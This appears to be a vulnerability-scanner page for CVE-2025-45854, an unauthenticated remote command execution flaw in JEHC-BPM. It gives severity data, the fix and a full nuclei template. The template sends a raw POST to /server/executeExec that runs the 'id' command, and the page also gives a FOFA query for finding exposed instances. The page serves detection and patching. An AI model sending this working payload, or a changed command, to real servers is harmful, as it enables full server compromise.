JEHC-BPM - Remote Code Execute

criticalseverity

10CVSS score

3.2%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM <= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.

Impact

Unauthenticated attackers can execute arbitrary operating system commands through the /server/executeExec endpoint due to missing authorization checks, achieving complete server compromise.

Fix

Upgrade JEHC-BPM to a version later than 2.0.1 that implements proper authorization checks on the executeExec endpoint.

How to confirm it

Send: GET /
Positive when: contains "JEHC" or "XSHI"
Send: POST /server/executeExec
Positive when: matches /uid=[0-9]+.*gid=[0-9]+.*/ AND status 200

Run it with nuclei: nuclei -id CVE-2025-45854 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-45854

info:
  name: JEHC-BPM - Remote Code Execute
  author: ritikchaddha
  severity: critical
  description: |
    A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM <= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the /server/executeExec endpoint due to missing authorization checks, achieving complete server compromise.
  remediation: |
    Upgrade JEHC-BPM to a version later than 2.0.1 that implements proper authorization checks on the executeExec endpoint.
  reference:
    - https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460
    - https://nvd.nist.gov/vuln/detail/CVE-2025-45854
  classification:
    epss-score: 0.03213
    epss-percentile: 0.88296
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-45854
    cwe-id: CWE-862,CWE-434
  metadata:
    max-request: 1
    product: jehc-bpm
    fofa-query: body="JEHC"
  tags: cve,cve2025,jehc-bpm,rce,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "JEHC"
          - "XSHI"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /server/executeExec HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {
          "actuator": {
            "clientIp": "127.0.0.1",
            "port": 8082,
            "applicationName": "testApp",
            "env": "prod",
            "uploadTime": 1704523200000,
            "hasPrefixApplicationName": false,
            "clientHttpPrefix": "http"
          },
          "execParams": {
            "command": "id"
          }
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from